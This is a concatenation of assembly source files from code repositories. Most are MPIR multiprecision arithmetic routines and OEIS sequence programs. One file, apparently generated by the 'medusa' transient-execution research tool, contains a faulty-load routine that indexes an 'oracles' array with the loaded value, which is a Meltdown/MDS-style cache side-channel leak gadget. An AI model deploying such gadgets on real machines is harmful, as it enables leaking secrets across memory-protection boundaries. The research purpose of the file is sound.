externals/mpir-3.0.0/mpn/x86/k7/mmx/k8/addmul_1.asm
JaminChan/eos_win
c03e57151cfe152d0d3120abb13226f4df74f37e
[ "MIT" ]
null
null
null
externals/mpir-3.0.0/mpn/x86/k7/mmx/k8/addmul_1.asm
JaminChan/eos_win
c03e57151cfe152d0d3120abb13226f4df74f37e
[ "MIT" ]
null
null
null
dnl mpn_addmul_1 dnl Copyright 2009 Jason Moxham dnl This file is part of the MPIR Library. dnl The MPIR Library is free software; you can redistribute it and/or modify dnl it under the terms of the GNU Lesser General Public License as published dnl by the Free Software Foundation; either version 2.1 of the License, or (at dnl your option) any later version. dnl The MPIR Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public dnl License for more details. dnl You should have received a copy of the GNU Lesser General Public License dnl along with the MPIR Library; see the file COPYING.LIB. If not, write dnl to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, dnl Boston, MA 02110-1301, USA. include(`../config.m4') C ret mpn_addmul_1(mp_ptr,mp_ptr,mp_ptr,mp_size_t) C rex 20, 24, 28, 32 ASM_START() PROLOGUE(mpn_addmul_1) push %ebx push %ebp push %esi push %edi mov 20(%esp),%edi mov 24(%esp),%esi mov (%esi),%eax mov 32(%esp),%edx mul %edx mov %eax,%ebx mov %edx,%ecx mov 32(%esp),%edx mov $0,%ebp subl $4,28(%esp) jc skiplp ALIGN(16) lp: mov 4(%esi),%eax mul %edx add %ebx,(%edi) adc %eax,%ecx adc %edx,%ebp mov 8(%esi),%eax mull 32(%esp) mov $0,%ebx add %ecx,4(%edi) adc %eax,%ebp adc %edx,%ebx mov 12(%esi),%eax mov 32(%esp),%edx mov $0,%ecx mul %edx add %ebp,8(%edi) adc %eax,%ebx adc %edx,%ecx lea 12(%esi),%esi mov 32(%esp),%edx subl $3,28(%esp) lea 12(%edi),%edi mov $0,%ebp jnc lp skiplp: cmpl $-2,28(%esp) jl case0 je case1 case2: mov 4(%esi),%eax mul %edx add %ebx,(%edi) adc %eax,%ecx adc %edx,%ebp mov 8(%esi),%eax mull 32(%esp) mov $0,%ebx add %ecx,4(%edi) adc %eax,%ebp adc %edx,%ebx add %ebp,8(%edi) adc $0,%ebx mov %ebx,%eax pop %edi pop %esi pop %ebp pop %ebx ret ALIGN(16) case1: mov 4(%esi),%eax mul %edx add %ebx,(%edi) adc %eax,%ecx adc %edx,%ebp mov $0,%eax add %ecx,4(%edi) adc %ebp,%eax pop %edi pop %esi pop %ebp pop %ebx ret ALIGN(16) case0: add %ebx,(%edi) adc $0,%ecx mov %ecx,%eax pop %edi pop %esi pop %ebp pop %ebx ret EPILOGUE()
19.092437
79
0.669014
b8049f057aeb8742c5c1a8af327319d81841f7d7
305
asm
Assembly
programs/oeis/206/A206371.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/206/A206371.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/206/A206371.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A206371: 31*2^n + 1. ; 32,63,125,249,497,993,1985,3969,7937,15873,31745,63489,126977,253953,507905,1015809,2031617,4063233,8126465,16252929,32505857,65011713,130023425,260046849,520093697,1040187393,2080374785,4160749569,8321499137,16642998273 mov $1,2 pow $1,$0 sub $1,1 mul $1,31 add $1,32 mov $0,$1
30.5
222
0.770492
7d9beeac2af4d4999359270bf54e6cd1c1864636
4,528
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0x84_notsx.log_21829_1944.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0x84_notsx.log_21829_1944.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0x84_notsx.log_21829_1944.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r13 push %rax push %rdi lea addresses_WC_ht+0x1b1be, %rax nop nop nop nop nop xor $19605, %r13 mov (%rax), %rdi nop nop xor %r11, %r11 lea addresses_WC_ht+0x2dd0, %r10 nop nop nop nop nop xor %rdi, %rdi movups (%r10), %xmm7 vpextrq $0, %xmm7, %rax nop nop nop nop add %r13, %r13 pop %rdi pop %rax pop %r13 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r13 push %r14 push %r9 push %rbx // Store lea addresses_normal+0x1a29e, %r11 sub %r14, %r14 movb $0x51, (%r11) nop cmp %rbx, %rbx // Faulty Load lea addresses_WT+0x140be, %r13 nop nop nop nop nop add $34292, %r10 mov (%r13), %bx lea oracles, %r11 and $0xff, %rbx shlq $12, %rbx mov (%r11,%rbx,1), %rbx pop %rbx pop %r9 pop %r14 pop %r13 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_WT', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_normal', 'same': False, 'size': 1, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_WT', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 8, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
50.311111
2,999
0.659231
0692a1ed420740c96e45f75ef6a84cbed745c44e
10,470
asm
Assembly
externals/mpir-3.0.0/mpn/x86/k7/mmx/mod_1.asm
JaminChan/eos_win
c03e57151cfe152d0d3120abb13226f4df74f37e
[ "MIT" ]
1
2018-08-14T03:52:21.000Z
2018-08-14T03:52:21.000Z
externals/mpir-3.0.0/mpn/x86/k7/mmx/mod_1.asm
JaminChan/eos_win
c03e57151cfe152d0d3120abb13226f4df74f37e
[ "MIT" ]
null
null
null
externals/mpir-3.0.0/mpn/x86/k7/mmx/mod_1.asm
JaminChan/eos_win
c03e57151cfe152d0d3120abb13226f4df74f37e
[ "MIT" ]
null
null
null
dnl AMD K7 mpn_mod_1 -- mpn by limb remainder. dnl Copyright 1999, 2000, 2001, 2002 Free Software Foundation, Inc. dnl dnl This file is part of the GNU MP Library. dnl dnl The GNU MP Library is free software; you can redistribute it and/or dnl modify it under the terms of the GNU Lesser General Public License as dnl published by the Free Software Foundation; either version 2.1 of the dnl License, or (at your option) any later version. dnl dnl The GNU MP Library is distributed in the hope that it will be useful, dnl but WITHOUT ANY WARRANTY; without even the implied warranty of dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU dnl Lesser General Public License for more details. dnl dnl You should have received a copy of the GNU Lesser General Public dnl License along with the GNU MP Library; see the file COPYING.LIB. If dnl not, write to the Free Software Foundation, Inc., 51 Franklin Street, dnl Fifth Floor, Boston, MA 02110-1301, USA. include(`../config.m4') C K7: 17.0 cycles/limb. C mp_limb_t mpn_mod_1 (mp_srcptr src, mp_size_t size, mp_limb_t divisor); C mp_limb_t mpn_mod_1c (mp_srcptr src, mp_size_t size, mp_limb_t divisor, C mp_limb_t carry); C mp_limb_t mpn_preinv_mod_1 (mp_srcptr src, mp_size_t size, mp_limb_t divisor, C mp_limb_t inverse); C C The code here is the same as mpn_divrem_1, but with the quotient C discarded. See mpn/x86/k7/mmx/divrem_1.c for some comments. dnl MUL_THRESHOLD is the size at which the multiply by inverse method is dnl used, rather than plain "divl"s. Minimum value 2. dnl dnl The inverse takes about 50 cycles to calculate, but after that the dnl multiply is 17 c/l versus division at 41 c/l. dnl dnl Using mul or div is about the same speed at 3 limbs, so the threshold dnl is set to 4 to get the smaller div code used at 3. deflit(MUL_THRESHOLD, 4) defframe(PARAM_INVERSE,16) dnl mpn_preinv_mod_1 defframe(PARAM_CARRY, 16) dnl mpn_mod_1c defframe(PARAM_DIVISOR,12) defframe(PARAM_SIZE, 8) defframe(PARAM_SRC, 4) defframe(SAVE_EBX, -4) defframe(SAVE_ESI, -8) defframe(SAVE_EDI, -12) defframe(SAVE_EBP, -16) defframe(VAR_NORM, -20) defframe(VAR_INVERSE, -24) defframe(VAR_SRC_STOP,-28) deflit(STACK_SPACE, 28) TEXT ALIGN(32) PROLOGUE(mpn_preinv_mod_1) deflit(`FRAME',0) movl PARAM_SRC, %ecx movl PARAM_SIZE, %eax subl $STACK_SPACE, %esp FRAME_subl_esp(STACK_SPACE) movl %ebp, SAVE_EBP movl PARAM_DIVISOR, %ebp movl %edi, SAVE_EDI movl PARAM_INVERSE, %edx movl %esi, SAVE_ESI movl -4(%ecx,%eax,4), %edi C src high limb leal -16(%ecx,%eax,4), %ecx C &src[size-4] movl %ebx, SAVE_EBX movl PARAM_INVERSE, %edx movl $0, VAR_NORM C l==0 movl %edi, %esi subl %ebp, %edi C high-divisor cmovc( %esi, %edi) C restore if underflow decl %eax jz L(done_edi) C size==1, high-divisor only movl 8(%ecx), %esi C src second high limb movl %edx, VAR_INVERSE movl $32, %ebx C 32-l decl %eax jz L(inverse_one_left) C size==2, one divide movd %ebx, %mm7 C 32-l decl %eax jz L(inverse_two_left) C size==3, two divides jmp L(inverse_top) C size>=4 L(done_edi): movl SAVE_ESI, %esi movl SAVE_EBP, %ebp movl %edi, %eax movl SAVE_EDI, %edi addl $STACK_SPACE, %esp ret EPILOGUE() ALIGN(32) PROLOGUE(mpn_mod_1c) deflit(`FRAME',0) movl PARAM_CARRY, %edx movl PARAM_SIZE, %ecx subl $STACK_SPACE, %esp deflit(`FRAME',STACK_SPACE) movl %ebp, SAVE_EBP movl PARAM_DIVISOR, %ebp movl %esi, SAVE_ESI movl PARAM_SRC, %esi jmp L(start_1c) EPILOGUE() ALIGN(32) PROLOGUE(mpn_mod_1) deflit(`FRAME',0) movl PARAM_SIZE, %ecx movl $0, %edx C initial carry (if can't skip a div) subl $STACK_SPACE, %esp deflit(`FRAME',STACK_SPACE) movl %esi, SAVE_ESI movl PARAM_SRC, %esi movl %ebp, SAVE_EBP movl PARAM_DIVISOR, %ebp orl %ecx, %ecx jz L(divide_done) movl -4(%esi,%ecx,4), %eax C src high limb cmpl %ebp, %eax C carry flag if high<divisor cmovc( %eax, %edx) C src high limb as initial carry sbbl $0, %ecx C size-1 to skip one div jz L(divide_done) ALIGN(16) L(start_1c): C eax C ebx C ecx size C edx carry C esi src C edi C ebp divisor cmpl $MUL_THRESHOLD, %ecx jae L(mul_by_inverse) C With a MUL_THRESHOLD of 4, this "loop" only ever does 1 to 3 iterations, C but it's already fast and compact, and there's nothing to gain by C expanding it out. C C Using PARAM_DIVISOR in the divl is a couple of cycles faster than %ebp. orl %ecx, %ecx jz L(divide_done) L(divide_top): C eax scratch (quotient) C ebx C ecx counter, limbs, decrementing C edx scratch (remainder) C esi src C edi C ebp movl -4(%esi,%ecx,4), %eax divl PARAM_DIVISOR decl %ecx jnz L(divide_top) L(divide_done): movl SAVE_ESI, %esi movl SAVE_EBP, %ebp addl $STACK_SPACE, %esp movl %edx, %eax ret C ----------------------------------------------------------------------------- L(mul_by_inverse): C eax C ebx C ecx size C edx carry C esi src C edi C ebp divisor bsrl %ebp, %eax C 31-l movl %ebx, SAVE_EBX movl %ecx, %ebx C size movl %edi, SAVE_EDI movl $31, %ecx movl %edx, %edi C carry movl $-1, %edx C xorl %eax, %ecx C l incl %eax C 32-l shll %cl, %ebp C d normalized movl %ecx, VAR_NORM movd %eax, %mm7 C 32-l movl $-1, %eax subl %ebp, %edx C (b-d)-1 so edx:eax = b*(b-d)-1 divl %ebp C floor (b*(b-d)-1) / d C movl %eax, VAR_INVERSE leal -12(%esi,%ebx,4), %eax C &src[size-3] movl 8(%eax), %esi C src high limb movl 4(%eax), %edx C src second highest limb shldl( %cl, %esi, %edi) C n2 = carry,high << l shldl( %cl, %edx, %esi) C n10 = high,second << l movl %eax, %ecx C &src[size-3] ifelse(MUL_THRESHOLD,2,` cmpl $2, %ebx je L(inverse_two_left) ') C The dependent chain here is the same as in mpn_divrem_1, but a few C instructions are saved by not needing to store the quotient limbs. C Unfortunately this doesn't get the code down to the theoretical 16 c/l. C C There's four dummy instructions in the loop, all of which are necessary C for the claimed 17 c/l. It's a 1 to 3 cycle slowdown if any are removed, C or changed from load to store or vice versa. They're not completely C random, since they correspond to what mpn_divrem_1 has, but there's no C obvious reason why they're necessary. Presumably they induce something C good in the out of order execution, perhaps through some load/store C ordering and/or decoding effects. C C The q1==0xFFFFFFFF case is handled here the same as in mpn_divrem_1. On C on special data that comes out as q1==0xFFFFFFFF always, the loop runs at C about 13.5 c/l. ALIGN(32) L(inverse_top): C eax scratch C ebx scratch (nadj, q1) C ecx src pointer, decrementing C edx scratch C esi n10 C edi n2 C ebp divisor C C mm0 scratch (src qword) C mm7 rshift for normalization cmpl $0x80000000, %esi C n1 as 0=c, 1=nc movl %edi, %eax C n2 movl PARAM_SIZE, %ebx C dummy leal (%ebp,%esi), %ebx cmovc( %esi, %ebx) C nadj = n10 + (-n1 & d), ignoring overflow sbbl $-1, %eax C n2+n1 mull VAR_INVERSE C m*(n2+n1) movq (%ecx), %mm0 C next src limb and the one below it subl $4, %ecx movl %ecx, PARAM_SIZE C dummy C addl %ebx, %eax C m*(n2+n1) + nadj, low giving carry flag leal 1(%edi), %ebx C n2+1 movl %ebp, %eax C d C adcl %edx, %ebx C 1 + high(n2<<32 + m*(n2+n1) + nadj) = q1+1 jz L(q1_ff) nop C dummy mull %ebx C (q1+1)*d psrlq %mm7, %mm0 leal (%ecx), %ecx C dummy C C subl %eax, %esi C low n - (q1+1)*d movl PARAM_SRC, %eax C sbbl %edx, %edi C high n - (q1+1)*d, 0 or -1 movl %esi, %edi C remainder -> n2 leal (%ebp,%esi), %edx movd %mm0, %esi cmovc( %edx, %edi) C n - q1*d if underflow from using q1+1 cmpl %eax, %ecx jae L(inverse_top) L(inverse_loop_done): C ----------------------------------------------------------------------------- L(inverse_two_left): C eax scratch C ebx scratch (nadj, q1) C ecx &src[-1] C edx scratch C esi n10 C edi n2 C ebp divisor C C mm0 scratch (src dword) C mm7 rshift cmpl $0x80000000, %esi C n1 as 0=c, 1=nc movl %edi, %eax C n2 leal (%ebp,%esi), %ebx cmovc( %esi, %ebx) C nadj = n10 + (-n1 & d), ignoring overflow sbbl $-1, %eax C n2+n1 mull VAR_INVERSE C m*(n2+n1) movd 4(%ecx), %mm0 C src low limb C C addl %ebx, %eax C m*(n2+n1) + nadj, low giving carry flag leal 1(%edi), %ebx C n2+1 movl %ebp, %eax C d adcl %edx, %ebx C 1 + high(n2<<32 + m*(n2+n1) + nadj) = q1+1 sbbl $0, %ebx mull %ebx C (q1+1)*d psllq $32, %mm0 psrlq %mm7, %mm0 C subl %eax, %esi C sbbl %edx, %edi C n - (q1+1)*d movl %esi, %edi C remainder -> n2 leal (%ebp,%esi), %edx movd %mm0, %esi cmovc( %edx, %edi) C n - q1*d if underflow from using q1+1 L(inverse_one_left): C eax scratch C ebx scratch (nadj, q1) C ecx C edx scratch C esi n10 C edi n2 C ebp divisor C C mm0 src limb, shifted C mm7 rshift cmpl $0x80000000, %esi C n1 as 0=c, 1=nc movl %edi, %eax C n2 leal (%ebp,%esi), %ebx cmovc( %esi, %ebx) C nadj = n10 + (-n1 & d), ignoring overflow sbbl $-1, %eax C n2+n1 mull VAR_INVERSE C m*(n2+n1) movl VAR_NORM, %ecx C for final denorm C C addl %ebx, %eax C m*(n2+n1) + nadj, low giving carry flag leal 1(%edi), %ebx C n2+1 movl %ebp, %eax C d C adcl %edx, %ebx C 1 + high(n2<<32 + m*(n2+n1) + nadj) = q1+1 sbbl $0, %ebx mull %ebx C (q1+1)*d movl SAVE_EBX, %ebx C C subl %eax, %esi movl %esi, %eax C remainder movl SAVE_ESI, %esi sbbl %edx, %edi C n - (q1+1)*d leal (%ebp,%eax), %edx movl SAVE_EBP, %ebp cmovc( %edx, %eax) C n - q1*d if underflow from using q1+1 movl SAVE_EDI, %edi shrl %cl, %eax C denorm remainder addl $STACK_SPACE, %esp emms ret C ----------------------------------------------------------------------------- C C Special case for q1=0xFFFFFFFF, giving q=0xFFFFFFFF meaning the low dword C of q*d is simply -d and the remainder n-q*d = n10+d L(q1_ff): C eax (divisor) C ebx (q1+1 == 0) C ecx src pointer C edx C esi n10 C edi (n2) C ebp divisor movl PARAM_SRC, %edx leal (%ebp,%esi), %edi C n-q*d remainder -> next n2 psrlq %mm7, %mm0 movd %mm0, %esi C next n10 cmpl %edx, %ecx jae L(inverse_top) jmp L(inverse_loop_done) EPILOGUE()
20.449219
79
0.647851
c38cc9b10d9c8bbf2c0782f827f8008304c7e0dd
632
asm
Assembly
oeis/054/A054485.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/054/A054485.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/054/A054485.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A054485: Expansion of (1+3*x)/(1-4*x+x^2). ; 1,7,27,101,377,1407,5251,19597,73137,272951,1018667,3801717,14188201,52951087,197616147,737513501,2752437857,10272237927,38336513851,143073817477,533958756057,1992761206751,7437086070947,27755583077037,103585246237201,386585401871767,1442756361249867,5384440043127701,20095003811260937,74995575201916047,279887296996403251,1044553612783696957,3898327154138384577,14548755003769841351,54296692860940980827,202638016439994081957,756255372899035347001,2822383475156147306047,10533278527725553877187 mov $1,1 lpb $0 sub $0,1 add $2,$1 add $2,$1 add $1,4 add $1,$2 lpe mov $0,$1
48.615385
497
0.830696
7d15af08445484c29b9a003cb531cc2cf5f0a406
542
asm
Assembly
oeis/095/A095698.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/095/A095698.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/095/A095698.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A095698: Number of permutations of {1,2,3,...,n} where, for 1 < i <= n, the i-th number has maximized sum of the i-1 absolute differences from all previous numbers of the permutation. ; Submitted by Jamie Morken(s4) ; 1,2,4,6,14,18,46,54,146,162,454,486,1394,1458,4246,4374,12866,13122,38854,39366,117074,118098,352246,354294,1058786,1062882,3180454,3188646,9549554,9565938,28665046,28697814,86027906,86093442,258149254 mov $1,1 lpb $0 sub $0,2 mul $1,2 mul $2,3 add $2,$1 lpe add $2,$1 lpb $0 div $0,4 add $2,$1 lpe mov $0,$2
30.111111
203
0.710332
e30e240c825fd6f7b1b2f27fb72ee2531f829b80
725
asm
Assembly
src/util/oli/qdos/instr.asm
olifink/qspread
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
[ "MIT" ]
null
null
null
src/util/oli/qdos/instr.asm
olifink/qspread
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
[ "MIT" ]
null
null
null
src/util/oli/qdos/instr.asm
olifink/qspread
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
[ "MIT" ]
null
null
null
; input a string (line) from channel 1993 O.Fink ; include win1_mac_oli include win1_keys_qdos_io section utility xdef ut_instr ;+++ ; input a string (line) from a given channel (timeout = -1) ; ; Entry Exit ; d2.w length of buffer preserved ; a0 channel id preserved ; a1 base of buffer preserved ; ; errors: IOSS ; cc: set ;--- ut_instr subr a2/a1/d1 moveq #iob.flin,d0 move.l a1,a2 addq.w #2,a1 xjsr do_io bne.s exit subq.w #1,d1 move.w d1,(a2) exit tst.l d0 subend end
21.323529
70
0.470345
5dc56ed22d1369b4c05078e391fa8b5ea9493f7f
639
asm
Assembly
ASM/src/jabu_elevator.asm
Edos512/OoT-RandomizerNoER
59e4c565986b37d7a83d8523ee7c7ee5701873b5
[ "MIT" ]
344
2018-07-07T07:36:26.000Z
2022-03-27T22:48:10.000Z
ASM/src/jabu_elevator.asm
Edos512/OoT-RandomizerNoER
59e4c565986b37d7a83d8523ee7c7ee5701873b5
[ "MIT" ]
1,076
2018-07-09T04:01:39.000Z
2022-03-31T17:18:22.000Z
ASM/src/jabu_elevator.asm
Edos512/OoT-RandomizerNoER
59e4c565986b37d7a83d8523ee7c7ee5701873b5
[ "MIT" ]
320
2018-07-02T01:19:41.000Z
2022-03-25T01:28:30.000Z
jabu_elevator: addiu sp, sp, -0x10 sw t0, 0x00(sp) swc1 f2, 0x04(sp) swc1 f4, 0x08(sp) la t0, JABU_ELEVATOR_ENABLE lbu t0, 0x00(t0) beqz t0, @@return li t5, 0x0200 lui t0, 0x801E addiu t0, 0xAA30 lwc1 f2, 0x28(t0) ; links y lui t0, 0xC496 mtc1 t0, f4 ; f4 = -1200 nop c.lt.s f2, f4 nop bc1t @@bottom nop li t5, 0x200 b @@return nop @@bottom: li t5, 0xC0 @@return: lwc1 f4, 0x08(sp) lwc1 f2, 0x04(sp) lw t0, 0x00(sp) jr ra addiu sp, sp, 0x10
17.27027
36
0.471049
c8abf132d578e74addb8dfcd5e1a105b653ec04c
1,917
asm
Assembly
programs/oeis/061/A061600.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/061/A061600.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/061/A061600.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A061600: a(n) = n^3 - n + 1. ; 1,1,7,25,61,121,211,337,505,721,991,1321,1717,2185,2731,3361,4081,4897,5815,6841,7981,9241,10627,12145,13801,15601,17551,19657,21925,24361,26971,29761,32737,35905,39271,42841,46621,50617,54835,59281,63961,68881,74047,79465,85141,91081,97291,103777,110545,117601,124951,132601,140557,148825,157411,166321,175561,185137,195055,205321,215941,226921,238267,249985,262081,274561,287431,300697,314365,328441,342931,357841,373177,388945,405151,421801,438901,456457,474475,492961,511921,531361,551287,571705,592621,614041,635971,658417,681385,704881,728911,753481,778597,804265,830491,857281,884641,912577,941095,970201,999901,1030201,1061107,1092625,1124761,1157521,1190911,1224937,1259605,1294921,1330891,1367521,1404817,1442785,1481431,1520761,1560781,1601497,1642915,1685041,1727881,1771441,1815727,1860745,1906501,1953001,2000251,2048257,2097025,2146561,2196871,2247961,2299837,2352505,2405971,2460241,2515321,2571217,2627935,2685481,2743861,2803081,2863147,2924065,2985841,3048481,3111991,3176377,3241645,3307801,3374851,3442801,3511657,3581425,3652111,3723721,3796261,3869737,3944155,4019521,4095841,4173121,4251367,4330585,4410781,4491961,4574131,4657297,4741465,4826641,4912831,5000041,5088277,5177545,5267851,5359201,5451601,5545057,5639575,5735161,5831821,5929561,6028387,6128305,6229321,6331441,6434671,6539017,6644485,6751081,6858811,6967681,7077697,7188865,7301191,7414681,7529341,7645177,7762195,7880401,7999801,8120401,8242207,8365225,8489461,8614921,8741611,8869537,8998705,9129121,9260791,9393721,9527917,9663385,9800131,9938161,10077481,10218097,10360015,10503241,10647781,10793641,10940827,11089345,11239201,11390401,11542951,11696857,11852125,12008761,12166771,12326161,12486937,12649105,12812671,12977641,13144021,13311817,13481035,13651681,13823761,13997281,14172247,14348665,14526541,14705881,14886691,15068977,15252745,15438001 mov $1,$0 pow $1,3 sub $1,$0 add $1,1
239.625
1,846
0.849244
c7023967cc5c816f6f5c48a07ffa4a813b659f54
871
asm
Assembly
programs/oeis/203/A203286.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/203/A203286.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/203/A203286.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
